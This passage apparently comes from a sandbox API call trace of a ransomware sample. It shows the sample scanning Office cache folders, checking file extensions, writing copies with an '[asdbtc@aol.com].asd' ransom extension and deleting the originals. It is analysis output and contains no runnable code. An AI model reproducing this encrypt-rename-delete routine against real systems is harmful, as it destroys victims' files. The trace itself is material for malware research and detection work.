(lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0061.273] lstrlenW (lpString=".jpg") returned 4 [0061.273] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0061.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0061.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0061.273] lstrlenW (lpString=".doc") returned 4 [0061.273] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0061.273] lstrlenW (lpString=".docx") returned 5 [0061.273] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0061.273] lstrlenW (lpString=".pdf") returned 4 [0061.273] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0061.273] lstrlenW (lpString=".xls") returned 4 [0061.273] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0061.273] lstrlenW (lpString=".xlsx") returned 5 [0061.273] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0061.273] lstrlenW (lpString=".ppt") returned 4 [0061.273] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0061.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0061.274] lstrlenW (lpString=".zip") returned 4 [0061.274] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0061.274] lstrlenW (lpString=".rar") returned 4 [0061.274] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0061.274] lstrlenW (lpString=".bz2") returned 4 [0061.274] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0061.274] lstrlenW (lpString=".7z") returned 3 [0061.274] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0061.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0061.274] lstrlenW (lpString=".dbf") returned 4 [0061.274] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0061.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0061.274] lstrlenW (lpString=".1cd") returned 4 [0061.274] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0061.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0061.274] lstrlenW (lpString=".jpg") returned 4 [0061.274] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0061.274] lstrcmpiW (lpString1=".dll", lpString2=".asd") returned 1 [0061.274] lstrlenW (lpString="PidGenX.dll") returned 11 [0061.274] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0061.275] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=1463568) returned 1 [0061.275] CloseHandle (hObject=0x220) returned 1 [0061.275] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0061.275] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0061.275] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0061.275] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.275] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.276] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.276] GetLastError () returned 0x0 [0061.276] ReadFile (in: hFile=0x220, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x2b3fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0061.606] WriteFile (in: hFile=0x1f0, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0061.624] ReadFile (in: hFile=0x220, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x2b3fed4*=0x65520, lpOverlapped=0x0) returned 1 [0062.182] WriteFile (in: hFile=0x1f0, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x65530, lpOverlapped=0x0) returned 1 [0062.191] ReadFile (in: hFile=0x220, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.193] WriteFile (in: hFile=0x1f0, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0062.193] SetEndOfFile (hFile=0x1f0) returned 1 [0062.193] CloseHandle (hObject=0x1f0) returned 1 [0062.194] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.194] SetEndOfFile (hFile=0x220) returned 1 [0062.197] CloseHandle (hObject=0x220) returned 1 [0062.197] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0062.198] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0062.567] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0062.567] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0062.567] lstrlenW (lpString=".doc") returned 4 [0062.567] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0062.567] lstrlenW (lpString=".docx") returned 5 [0062.567] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0062.567] lstrlenW (lpString=".pdf") returned 4 [0062.567] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0062.567] lstrlenW (lpString=".xls") returned 4 [0062.567] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0062.567] lstrlenW (lpString=".xlsx") returned 5 [0062.567] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0062.567] lstrlenW (lpString=".ppt") returned 4 [0062.568] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0062.568] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0062.568] lstrlenW (lpString=".zip") returned 4 [0062.568] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0062.568] lstrlenW (lpString=".rar") returned 4 [0062.568] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0062.568] lstrlenW (lpString=".bz2") returned 4 [0062.568] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0062.568] lstrlenW (lpString=".7z") returned 3 [0062.568] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0062.568] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0062.568] lstrlenW (lpString=".dbf") returned 4 [0062.568] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0062.568] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0062.568] lstrlenW (lpString=".1cd") returned 4 [0062.568] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0062.568] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0062.568] lstrlenW (lpString=".jpg") returned 4 [0062.568] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0062.568] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0062.568] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0062.568] lstrlenW (lpString=".doc") returned 4 [0062.568] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0062.568] lstrlenW (lpString=".docx") returned 5 [0062.568] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0062.569] lstrlenW (lpString=".pdf") returned 4 [0062.569] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0062.569] lstrlenW (lpString=".xls") returned 4 [0062.569] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0062.569] lstrlenW (lpString=".xlsx") returned 5 [0062.569] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0062.569] lstrlenW (lpString=".ppt") returned 4 [0062.569] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0062.569] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0062.569] lstrlenW (lpString=".zip") returned 4 [0062.569] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0062.569] lstrlenW (lpString=".rar") returned 4 [0062.570] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0062.570] lstrlenW (lpString=".bz2") returned 4 [0062.570] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0062.570] lstrlenW (lpString=".7z") returned 3 [0062.570] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0062.570] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0062.570] lstrlenW (lpString=".dbf") returned 4 [0062.570] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0062.570] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0062.570] lstrlenW (lpString=".1cd") returned 4 [0062.570] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0062.570] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0062.570] lstrlenW (lpString=".jpg") returned 4 [0062.570] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0062.570] lstrcmpiW (lpString1=".msi", lpString2=".asd") returned 1 [0062.570] lstrlenW (lpString="VisiorWW.msi") returned 12 [0062.570] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 12 os_tid = 0x97c [0040.244] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x5d0708 [0040.244] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x5e0710 [0040.244] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x560338 [0040.245] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x563080 [0040.245] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x560350 [0040.245] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x3760020 [0040.245] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x560368 [0040.245] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x560368, Size=0x20) returned 0x58f8f8 [0040.245] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x560368 [0040.245] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x560368, Size=0x20) returned 0x58f920 [0040.245] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0040.245] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0040.245] Wow64DisableWow64FsRedirection (in: OldValue=0x2c7ff58 | out: OldValue=0x2c7ff58*=0x0) returned 1 [0040.245] lstrlenW (lpString="kernel32.dll") returned 12 [0040.245] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58f8f8 | out: hHeap=0x510000) returned 1 [0040.245] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0040.245] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58f920 | out: hHeap=0x510000) returned 1 [0040.245] Sleep (dwMilliseconds=0x64) [0040.498] Sleep (dwMilliseconds=0x64) [0041.555] Sleep (dwMilliseconds=0x64) [0041.795] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0041.798] lstrlenW (lpString="ExcelMUI.xml") returned 12 [0041.798] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0041.811] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1565) returned 1 [0041.812] CloseHandle (hObject=0x174) returned 1 [0041.812] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 0x2020 [0041.818] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0041.820] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0041.822] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.823] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.826] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0042.511] GetLastError () returned 0x0 [0042.511] ReadFile (in: hFile=0x178, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x61d, lpOverlapped=0x0) returned 1 [0042.520] WriteFile (in: hFile=0x16c, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x620, lpOverlapped=0x0) returned 1 [0042.521] ReadFile (in: hFile=0x178, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.521] WriteFile (in: hFile=0x16c, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0042.521] SetEndOfFile (hFile=0x16c) returned 1 [0042.521] CloseHandle (hObject=0x16c) returned 1 [0042.522] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.522] SetEndOfFile (hFile=0x178) returned 1 [0042.523] CloseHandle (hObject=0x178) returned 1 [0042.523] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0042.524] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 1 [0042.524] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0042.524] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0042.524] lstrlenW (lpString=".doc") returned 4 [0042.524] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.524] lstrlenW (lpString=".docx") returned 5 [0042.524] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0042.524] lstrlenW (lpString=".pdf") returned 4 [0042.524] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.524] lstrlenW (lpString=".xls") returned 4 [0042.524] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.524] lstrlenW (lpString=".xlsx") returned 5 [0042.524] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0042.524] lstrlenW (lpString=".ppt") returned 4 [0042.524] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.524] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0042.524] lstrlenW (lpString=".zip") returned 4 [0042.524] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.524] lstrlenW (lpString=".rar") returned 4 [0042.524] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.524] lstrlenW (lpString=".bz2") returned 4 [0042.524] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.524] lstrlenW (lpString=".7z") returned 3 [0042.524] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.524] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0042.524] lstrlenW (lpString=".dbf") returned 4 [0042.524] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.524] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0042.525] lstrlenW (lpString=".1cd") returned 4 [0042.525] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.525] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0042.525] lstrlenW (lpString=".jpg") returned 4 [0042.525] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.616] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0042.616] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0042.616] lstrlenW (lpString=".doc") returned 4 [0042.616] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.616] lstrlenW (lpString=".docx") returned 5 [0042.616] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0042.616] lstrlenW (lpString=".pdf") returned 4 [0042.616] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.616] lstrlenW (lpString=".xls") returned 4 [0042.616] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.616] lstrlenW (lpString=".xlsx") returned 5 [0042.616] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0042.616] lstrlenW (lpString=".ppt") returned 4 [0042.616] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.616] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0042.616] lstrlenW (lpString=".zip") returned 4 [0042.616] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.617] lstrlenW (lpString=".rar") returned 4 [0042.617] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.617] lstrlenW (lpString=".bz2") returned 4 [0042.617] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.617] lstrlenW (lpString=".7z") returned 3 [0042.617] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.617] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0042.617] lstrlenW (lpString=".dbf") returned 4 [0042.617] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.617] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0042.617] lstrlenW (lpString=".1cd") returned 4 [0042.617] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.617] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0042.617] lstrlenW (lpString=".jpg") returned 4 [0042.617] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.617] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0042.617] lstrlenW (lpString="Proof.xml") returned 9 [0042.617] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0042.636] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1347) returned 1 [0042.636] CloseHandle (hObject=0x178) returned 1 [0042.636] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 0x2020 [0042.636] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0042.636] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0042.636] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.636] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.636] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0042.637] GetLastError () returned 0x0 [0042.637] ReadFile (in: hFile=0x178, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x543, lpOverlapped=0x0) returned 1 [0042.650] WriteFile (in: hFile=0x16c, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x550, lpOverlapped=0x0) returned 1 [0042.651] ReadFile (in: hFile=0x178, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, 